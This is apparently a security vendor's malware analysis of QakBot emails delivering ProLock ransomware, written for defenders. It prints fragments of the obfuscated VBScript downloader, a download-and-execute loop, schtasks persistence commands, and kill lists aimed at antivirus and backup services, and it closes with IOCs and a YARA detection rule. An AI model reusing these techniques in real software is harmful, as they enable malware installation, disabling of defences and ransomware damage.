The FBI and the German agency CERT-Bund [1][2] are warning of QakBot malspam currently distributing ProLock ransomware.

QakBot is spread via email. In the outlined campaign, an email with a link to a ZIP archive containing a VBScript file is used to download the QakBot loader onto victim computers. From there, the ProLock ransomware can be loaded by the QakBot operators.

The ProLock ransomware uses RC6 to encrypt files on the victims computer. It spares the first 8 KiB of all files. It appends a .proLock extension to encrypted files and leaves a ransom note stating that it is “[n]othing personal just business” and instructions on how to pay the ransom. However, the ransomware also deletes files ending with .bac or .bak extensions, so victims will still lose those files even if they pay.


QakBot (aka. QBot, QuakBot, Pinkslipbot) has been around since 2008. The ProLock ransomware is relatively new. We have summarized a timeline of recent events regarding both pieces of malware:

Recent events regarding QakBot

ProLock is a ransomware that was first observed at the end of 2019. At the time, it was called PwndLocker. However, PwndLocker had a bug, so victims were able to decrypt their files without paying the ransom. Hence, in 2020, it was rebranded as ProLock ransomware after fixing the flaw.

Even though ProLock typically gains access to victims via RDP, it has recently been distributed via QakBot in a similar fashion that Emotet distributes ransomware.

Technical Analysis

This analysis will first outline some steps of the currently observed QakBot infection chain. The relevant and interesting steps have been outlined in the flow chart below.

QakBot Infection Chain

The initial infection uses an email with a link to a ZIP archive. The ZIP archive contains a VBScript file which downloads the QakBot loader. Like Emotet, QakBot is able to load other malware. The latest of such distributed malware and subject of multiple warnings by governmental institutions is the ProLock ransomware.

The second part of this article gives an overview of the inner workings of the new ProLock ransomware.


The observed campaign was targeting Germany and used thread hijacking, i.e., QakBot replied to existing email conversations obtained from previous victims. The previous victims’ communication partners would then receive an email with a link such as this one:

Initial Email Variant

The lower section of the email (not displayed here) contains the hijacked conversation thread.

Since this campaign, many different campaigns have been observed, also in languages other than German.


Emails have the display name of the RFC5322 “From” header set to the display name of the communication partner in the highjacked conversation thread. The address in the RFC5322 “From” header is the real address of the sender. This way, the emails pass SPF and DKIM checks.

To illustrate this, let’s assume Alice has taken part in a conversation with Bob Doe. This conversation thread is highjacked when she gets infected with QakBot. The RFC5322 “From” header in the stolen emails is Bob Doe <>. Now, Alice’s computer sends QakBot malspam. The emails will be sent with a RFC5322 “From” header of Bob Doe <>.

In case there is no display name, the email address is used directly as display name in the RFC5322 “From” header. This behavior can be seen in some emails. Here is one example:

Initial Email Variant


From the dates in the hijacked email conversations, it can be established that the stolen emails are mainly recent, i.e., hijacked email threads are only several days old when used in attacks. But unlike Emotet, the operators of this malspam operation do not seem to restrict the thread hijacking to current emails. We have also observed emails hijacking threads dating back to 2015.


The emails try to lure victims into downloading from a link labeled ANHANG ZUM DOWNLOAD by pretending that the conversation partner must review or comment the document behind the download link with different phrases. In previous English-language campaigns, the link was labeled ATTACHMENT DOWNLOAD. Here are some examples:

Initial Email Variant

Initial Email Variant

Initial Email Variant

While there seems to be a finite pool of phrases (since we have observed repetitions), the phrasing is completely generic and can be replaced with any other phrasing at any time. This way, these emails can be injected into virtually any conversation thread.

The link leads to a ZIP archive containing a VBScript file.

VBScript file

While the VBScript file appears to be around 37 MiB (38045309 Bytes), it is padded with zeros:

$ hexdump -C Darlehensvertrag_8378051_19052020.vbs | less
00000000  0a 4f 6e 20 45 72 72 6f  72 20 52 65 73 75 6d 65  |.On Error Resume|
00000010  20 4e 65 78 74 0a 64 69  6d 20 6a 4d 52 50 42 2c  | Next.dim jMRPB,|
00000020  20 68 6d 58 74 76 6c 2c  20 68 68 71 49 43 54 2c  | hmXtvl, hhqICT,|
00033f50  45 47 46 58 53 51 20 3d  20 46 69 78 28 44 4d 4c  |EGFXSQ = Fix(DML|
00033f60  63 63 29 0a 56 7a 4f 64  69 20 3d 20 78 61 74 43  |cc).VzOdi = xatC|
00033f70  58 48 4e 20 6f 72 20 4e  72 4c 62 55 6d 0a 0a 00  |XHN or NrLbUm...|
00033f80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
02448670  00 00 00 00 00 00 00 00  00 00 00 00 0a           |.............|

The actual VBScript code is only around 200 KiB or 0.5% of the file. This is probably done to avoid detection, as some systems will not scan files if they surpass a specific size limit.

The script uses evasion, anti-debugging and obfuscation techniques.

We will only highlight the interesting parts of the script.


The script sleeps for 30000 ms:

ozcHEG = 318 - 15 + 490 + 5 - 22 - 9 - 7 + 10 + 29230
WScript.Sleep ozcHEG

This is probably a dynamic analysis avoidance technique. Some analysis systems use timeouts to keep the analysis time short and decide whether a sample is malicious or not based on the actions it performs until the timeout.

Error suppression

The script uses On Error Resume Next in every function. This instructs the program to continue with the next program statement even if an error occurs.


String replacement

The script uses a common string replacement technique to obfuscate real strings used in the script. The code

set o=CreateObject(replace("Rx1wRx1scRx1rRx1ipRx1tRx1.sRx1heRx1lRx1l", "Rx1", ""))


set o=CreateObject("")

This technique is used in multiple places throughout the script.

Character concatenation

The script uses character concatenation to form strings from single calls to the chr() function. The code




This technique is used in multiple places throughout the script.

XOR encryption

The script uses a very large string (defined at the beginning). We renamed the string to LARGE_STRING. This large string is transformed 3 times via a function that uses the XOR cipher to decrypt the download URLs and executable filenames. The XOR keys are obtained by indexing into a smaller string we renamed to xor_key_selection_string:

xor_key_selection_string = "J32EmExEv2QE3ZfZsFlO84vJKXRFXWutfc2vigLlDKJZNT9T0wlTWtOiqp8dSt7XJzu9VhQvxzXARwg1kjAEvzaRQJcqbW2J0HmDtXeVxk18ZFhG9zZwWTN4aGkDh0nbIIFGhOPU50PzCAGbom360Sry6vA9DHp56oAtEZZRhaSL0noyFy4C9B3rXTSbPbx0hcOnsNYVUTQ7TIKSLavputomDcV50UwbgBoXbX1a8iY11TCylu13ugCo7C8FXmbSGYPi4rr1dq6KaV7kpp2g6urPeKD3HuLb2nYobSWe9KvmKxGdfUxNz8HAdGjI2kjh6ojyqdayw9RT5yYxLEQsRiHnuz0RiyDeVLFVutox5abkwDf9v66PWlRw4HrThNtW36OZOgw7zmvmOr5ysh5uUf3lRRIcP"
xor_key_1 = Asc(Mid(xor_key_selection_string, rZGOkh, 418 + 454 + 6 - 19 - 4 + 12 - 21 + 129 - 974))
TRANS_LARGE_STRING  = string_transform(LARGE_STRING, xor_key_1)
jRABF   = sgzJJn * NrLbUm

DMLcc   = 468 + 14 - 9 + 21 - 196 - 100 + 178 - 231 + 578                        

TRANS_LARGE_STRING  = string_transform(TRANS_LARGE_STRING, xor_key_2)

MGQNb = SWoDQ - xatCXHN                                                          

TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_3)

(The xor_key_selection_string, xor_key_{1,2,3}, string_transform, TRANS_LARGE_STRING and LARGE_STRING were renamed by the analyst to better understand the program logic. In the original code, these were random character sequences.)

Network connection

The script sends GET requests to 5 different URLs:

Wireshark network capture

The VBScript code responsible for the GET requests can be found inside the following for loop:

        For i = 1 To 6
                ms.Open Replace("S12GES12TS12", "S12", ""), RryLCg(index) & iGonf, False

(Please note we have used a tool to standardize the code indentation.)

The user agent is hard-coded into the script. It is a capitalized word written twice, like here:

ms.setRequestHeader OIEDjshTTW, "AlbertaAlberta"

While the words are random and different between single samples, it is always a word written twice, e.g., LamodaLamoda, etc.

In the uid parameter in the query string is a Base64-encoded string containing the versions of both the system’s antivirus software and Windows:

Decoded uid parameter

This information is obtained via two WMI queries:

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2").ExecQuery("select * from AntiVirusProduct")


GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

(Obviously again, the original code for these two queries is obfuscated and spans several lines of code.)

Download and launch of QakBot loader

The same GET request that sends the uid parameter gets a PE file as a response:

The script writes it to %userprofile%\AppData\Local\Temp\PicturesViewer.exe and starts the executable:

The relevant code in the VBScript file is within the aforementioned GET request for loop. It first checks the readyState. If the request is DONE (readyState = 4), it checks whether the response body size is different from 0, and, finally, whether the response content starts with MZ:

If ms.readyState = 4 Then
        If Len(ms.responseBody) <> 0 Then
                If Left(ms.responseText, 2) = "MZ" Then
                        .Write ms.responseBody
                        execute RryLCg(6)

Now, the downloaded QakBot loader is running, and this concludes the downloader script.


The downloaded QakBot loader is packed. It unpacks itself at runtime in memory. It first runs itself with the /C option flag. This causes the QakBot binary to run checks to determine whether it is being run inside a sandbox. Next, it runs itself via a scheduled task using schtasks.exe /Create /RU \"NT AUTHORITY\\SYSTEM\". This allows the bot to increase its privileges. It then injects into explorer.exe via process hollowing (using CREATE_SUSPENDED). After that, it obtains persistence via run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run), as well as with a scheduled task (schtasks.exe /create /tr mjezacl.exe /sc HOURLY /mo 5).

After that, it queries for the external IP of the infected system. At last, in the deterministic part of its execution chain, it establishes communication with the C2 (proxy) servers.

This way, QakBot, like Emotet, can also load further modules as well as additional malware. In this case, QakBot downloads and executes ProLock.

Before analyzing ProLock, let’s have a quick look at QakBot’s C2 IPs.


The C2 IP’s mainly come from the United States, and to a much lesser extent from Romania. However, the distribution may vary slightly from campaign to campaign.

The distribution run using tag spx128, for instance, had its third cluster of IPs in Mexico:

C2 distribution by country

On the other hand, the distribution run using tag spx116 and a German-language lure has slightly more C2 IPs from Europe:

C2 distribution by country

However, English-speaking countries seem to be the main origin of C2 IPs. This distribution indicates QakBot was mainly focused on English-speaking countries. However, as the campaign targeting Germany has shown, this focus may now be shifting towards establishing QakBot as a more global operation akin to Emotet.

In case the origin of the C2 IPs would adapt to the targeted country, we would expect a much bigger shift towards German IPs. It is therefore unknown whether the shift observed in campaigns targeting Germany is only coincidental and the QakBot operators simply do not have a significant amount of C2 IPs from Europe.

The C2 IP list changes very frequently.


As previously outlined, various governmental organisations warn about QakBot distributing the new variant of PwndLocker called ProLock. Hence, we will quickly outline the main findings with regard to the new ProLock ransomware.

From publicly available sources, it is known that the current ProLock variant is delivered hidden in an image file named WinMgr.bmp. This image is completely black except for some white pixels. These white pixels in the top right are where the binary code of ProLock is stored:

ProLock in WinMgr.bmp

From there, ProLock is loaded into memory and executed via PowerShell.

PowerShell loader

The code of the PowerShell loader reads as follows:

ProLock PowerShell loader

(Image Source: [3])

Depending on the pointer size ([IntPtr]::size), i.e., the operating system’s bit depth, the PowerShell will write the data at 0xA230 (32-bit) or 0xD7A0 (64-bit) into memory and execute it.

We will follow the 32-bit variant.


First, an decoding stub unpacks the payload:

ProLock decoding stub to unpack payload.

The unpacking uses a simple XOR cipher starting at offset 0xa27f (into WinMgr.bmp) with key 0x09b1a2dc.

The shellcode of the unpacked payload uses PEB traversal starting from FS:[0x30] to obtain the list of loaded modules. It hashes the DLL names and compares them against a hash of KERNEL32.DLL. This way, the address of kernel32.dll is obtained. After that, LoadLibraryA, GetProcAddress and VirtualAlloc are resolved by traversing the kernel32.dll export directory, hashing the function names in it and comparing them against a list of hashes of the corresponding functions:

ProLock dynamic library and function resolution.

Throughout the code, call label; db 'string'; label: ... code sequences are used to load string addresses into memory:

ProLock loading strings on 32-bit.

Note: In the 64-bit version, RIP-relative addressing (which is not available in the 32-bit version) is used.

With the loaded strings, additional libraries and functions are resolved and stored in memory for later use.


ProLock then proceeds to delete the following files via DeleteFileA:

  • C:\\Programdata\\WinMgr.xml
  • C:\\Programdata\\WinMgr.bmp
  • C:\\Programdata\\clean.bat
  • C:\\Programdata\\run.bat

ProLock deleting files

It disconnects all connections shared resources, except hidden shares:

ProLock deleting shares except hidden shares.

It enumerates the running processes using CreateToolhelp32Snapshot and Process32{First,Next} functions:

ProLock enumerating processes.

The first 6 characters of each process name are compared against a list:

ProLock process kill list.

In case a process matches,

ProLock killing processes on kill list.

taskkill.exe /F /IM is invoked on it via ShellExecuteA:

ProLock killing processes on kill list.

The searched and killed processes start with: agntsv, cntaos, dbeng5, dbsnmp, encsvc, excel., firefo, infopa, isqlpl, mbamtr, msacce, msftes, mspub., mydesk, mysqld, ntrtsc, ocauto, ocomm., ocssd., onenot, oracle, outloo, pccntm, powerp, sqbcor, sqlage, sqlbro, sqlser, sqlwri, steam., syncti, tbirdc, thebat, thunde, tmlist, visio., winwor, wordpa, xfssv, czoolz.

Next, net.exe stop "<service>" /y is used to stop a large list of services:

ProLock service kill list.

The services on ProLock’s service kill list belong to security products, but also to database and backup systems which would retain a lock on opened files thus preventing the ransomware from encrypting them.

The searched services are CSFalconService, McAfeeFramework, Alerter, AcronisAgent, Acronis VSS Provider, BackupExecAgentAccelerator, BackupExecDeviceMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, BackupExecVSSProvider, DFSR, EPIntegrationService, EPProtectedService, EPSecurityService, EPUpdateService, MB3Service, MBAMService, MBEndpointAgent, MSExchangeES, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS, MSExchangeADTopology, MSExchangeDelivery, MSExchangeDiagnostics, MSExchangeEdgeSync, MSExchangeHM, MSExchangeHMRecovery, MSExchangeIS, MSExchangeMailboxReplication, MSExchangeRPC, MSExchangeRepl, MSExchangeServiceHost, MSExchangeTransport, MSExchangeUM, MSExchangeUMCR, MSOLAP$*, MSSQLSERVER, MsDtsServer, MySQL57, OSearch15, OracleClientCache80, QuickBooksDB25, SPAdminV4, SPSearchHostController, SPTraceV4, SPUserCodeV4, SPWriterV4, SQLBrowser, SQLSafeOLRService, SQLsafe Backup Service, SQLSERVERAGENT, SQLTELEMETRY, SQLBackups, SQLAgent$*, MSSQL$*, MSMQ, ReportServer, ReportServer$*, SQLWriter, SQLBackupAgent, Symantec System Recovery, SyncoveryVSSService, VeeamBackupSvc, VeeamCatalogSvc, VeeamCloudSvc, VeeamEndpointBackupSvc, VeeamEnterpriseManagerSvc, VeeamMountSvc, VeeamNFSSvc, VeeamRESTSvc, VeeamTransportSvc, Veeam Backup Catalog Data Service, epag, epredline, mozyprobackup, masvc, macmnsvc, mfemms, McAfeeDLPAgentService, psqlWGE, swprv, wsbexchange, WinVNC4, TMBMServer, tmccsf, tmlisten, VSNAPVSS, stc_endpt_svc, wbengine, bbagent, NasPmService, BASupportExpressStandaloneService_N_Central, BASupportExpressSrvcUpdater_N_Central, hasplms, EqlVss, EqlReqService, RapidRecoveryAgent, YTBackup, vhdsvc, TeamViewer, MSOLAP$SQL_2008, MSOLAP$SYSTEM_BGC, MSOLAP$TPS, MSOLAP$TPSAMA, MSSQL$BKUPEXEC, MSSQL$ECWDB2, MSSQL$PRACTICEMGT, MSSQL$PRACTTICEBGC, MSSQL$PROD, MSSQL$PROFXENGAGEMENT, MSSQL$SBSMONITORING, MSSQL$SHAREPOINT, MSSQL$SOPHOS, MSSQL$SQL_2008, MSSQL$SQLEXPRESS, MSSQL$SYSTEM_BGC, MSSQL$TPS, MSSQL$TPSAMA, MSSQL$VEEAMSQL2008R2, MSSQL$VEEAMSQL2012, MSSQLFDLauncher, MSSQLFDLauncher$PROFXENGAGEMENT, MSSQLFDLauncher$SBSMONITORING, MSSQLFDLauncher$SHAREPOINT, MSSQLFDLauncher$SQL_2008, MSSQLFDLauncher$SYSTEM_BGC, MSSQLFDLauncher$TPS, MSSQLFDLauncher$TPSAMA, MSSQLSERVER, MSSQLServerADHelper, MSSQLServerADHelper100, MSSQLServerOLAPService, SQLAgent$BKUPEXEC, SQLAgent$CITRIX_METAFRAME, SQLAgent$CXDB, SQLAgent$ECWDB2, SQLAgent$PRACTTICEBGC, SQLAgent$PRACTTICEMGT, SQLAgent$PROD, SQLAgent$PROFXENGAGEMENT, SQLAgent$SBSMONITORING, SQLAgent$SHAREPOINT, SQLAgent$SOPHOS, SQLAgent$SQL_2008, SQLAgent$SQLEXPRESS, SQLAgent$SYSTEM_BGC, SQLAgent$TPS, SQLAgent$TPSAMA, SQLAgent$VEEAMSQL2008R2, SQLAgent$VEEAMSQL2012, ReportServer$SQL_2008, ReportServer$SYSTEM_BGC, ReportServer$TPS, and ReportServer$TPSAMA.

Finally, ProLock uses the following commands to delete the volume shadow copies:

ProLock vssadmin.exe commands.

ProLock vssadmin.exe commands.

The commands are passed to vssadmin.exe, which is again invoked via ShellExecuteA:

ProLock vssadmin.exe invocation.

ProLock vssadmin.exe invocation.

ProLock enumerates all drive letters for the shadow copy deletion, excluding only CD-ROM drives (DRIVE_CDROM):

ProLock excluding CD-ROM drives from shadow copy deletion.


ProLock does not seem to encrypt the first 8 KiB of files. Files smaller than 8 KiB are, hence, not encrypted at all do not receive a .proLock extension, either.

Files and directories are processed according to several file lists:

ProLock file and directory lists.

ProLock will avoid files with an extension of .exe, .dll, .lnk, .ico, .msi, .chm, .sys, .hlf, .lng, .ttf, and .cmd.

Files with extensions .bac or .bak are deleted.

Further, ProLock does not traverse directories named $Recycle.Bin, Windows, Boot, System Volume Information, PerfLogs, Common Files, DVD Maker, Internet Explorer, Kaspersky Lab, Kaspersky Lab Setup Files, WindowsPowerShell, Microsoft, Microsoft.NET, Mozilla Firefox, MSBuild, Windows Defender, Windows Mail, Windows Media Player, Windows NT, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsApps, and Uninstall Information. Additionally, the following directories in the profile directory are not traversed: Adobe, Microsoft, Microsoft_Corporation, Packages, and Temp.

ProLock uses multiple threads. There is a threaded function that traverses the directory structures. Encryption and file renaming is handled by other threaded functions:

ProLock running multiple threads for file encryption.

For the encryption, ProLock uses the processor’s RDTSC opcode to obtain random numbers, which it uses to generate the subsequent encryption key:

ProLock's function to obtain random numbers.

The files themselves seem to be encrypted with RC6. The RC6 key schedule function can be identified by the RC6 constants 0xb7e15163, and 0x9e3779b9, as well as the typical 44 count loop initializing the key structure found in the malware code:

ProLock's RC6_set_key function.

After encryption, a .proLock extension is appended to each encrypted file:

ProLock appending .proLock extension.

During directory traversal and before encryption, ProLock leaves a file named [HOW TO RECOVER FILES].TXT with its ransom note in each directory:

Your files have been encrypted by ProLock Ransomware using RSA-2048 algorithm.

   [.:Nothing personal just business:.]

No one can help you to restore files without our special decryption tool.

To get your files back you have to pay the decryption fee in BTC.
The final price depends on how fast you write to us.

   1. Download TOR browser:
   2. Install the TOR Browser.
   3. Open the TOR Browser.
   4. Open our website in the TOR browser: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.onion
   5. Login using your ID XXXXXXXXXXXXXXXXXXXX

   ***If you have any problems connecting or using TOR network:
   contact our support by email

   [You'll receive instructions and price inside]

The decryption keys will be stored for 1 month.

We also have gathered your sensitive data.
We would share it in case you refuse to pay.

Decryption using third party software is impossible.
Attempts to self-decrypting files will result in the loss of your data.

Obviously, the promise that this is “[n]othing personal just business” is no comfort to the victims.

We did not observe a network connection from the analyzed ProLock sample. However, we have not analyzed the complete chain leading up to the deployment of this ProLock sample. It is possible for the perpetrators to deploy data-stealing malware before deploying the ProLock ransomware. Hence, the threat to “share” “gathered […] sensitive data” could be real.

Conclusion and Remediation

A ransom should not be paid. In the past, ProLock, under the name PwndLocker at that time, had problems with their decryptor, preventing victims from decrypting their files. The FBI has stated similar concerns with the latest version. And as this analysis showed, files ending in .bac or .bak are not encrypted but deleted, meaning that there will likely be significant data loss even if a victim pays.

You should have backups that are inaccessible to ransomware.

Hornetsecurity’s Spam Filtering and Malware Protection blocks known patterns and URLs of QakBot emails.

Hornetsecurity’s Advanced Threat Protection, with URL Rewriting, replaces URLs in emails with secure URLs. On click, the user is forwarded to the secured website via the Hornetsecurity ATP proxy, which scans downloadable content and blocks access to malware. This protects against the malicious link in the initial email, thus preventing the download of the QakBot VBScript file in the first place.


Indicators of Compromise (IOCs)


SHA256 Filename Description
20cd1626d319f10323f5abda86fc11d0ed3783bd65f9c3a6501841e783edf61d Darlehensvertrag_8378051_19052020.vbs VBScript QakBot Downloader
0cd872e07f9e1929b9b3baf7f86af70ccb28763bd4f1a16ebad659ea262106a5 888888.png QakBot loader sample
a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0 Winmgr.bmp BMP containing ProLock shellcode as payload



rule prolock_decoder_stub
        description = "Detects ProLock decoder stubs"
        author = "Hornetsecurity Security Lab"
        date = "2020-06-03"
        hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
        $decoder_stub_32 = {
            55 89 e5 8b 4? ?? eb ?? 89 4? ?? 8d 15 ?? ?? ?? ?? 8d 05
            ?? ?? ?? ?? 83 e8 ?? 29 c2 8b 4? ?? 01 c2 31 db b8 ?? ??
            ?? ?? 31 04 1a 81 3c 1a ?? ?? ?? ?? 74 ?? 83 fb ?? 75 ??
            31 04 1a 40 eb ?? eb ?? 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74
            ?? eb ??  }
        $decoder_stub_64 = {
            55 48 89 e5 48 89 4? ?? 48 8b 4? ?? eb ?? 49 89 c3 48 8d
            15 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 83 e8 ?? 48 29 c2
            4c 89 d8 48 01 c2 48 31 db 48 c7 c0 ?? ?? ?? ?? 31 04 1a
            81 3c 1a ?? ?? ?? ?? 74 ?? 48 83 fb ?? 75 ?? 31 04 1a 48
            ff c0 eb ?? eb ?? 48 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74 ??
            eb ??  }
        any of ($decoder_stub_*)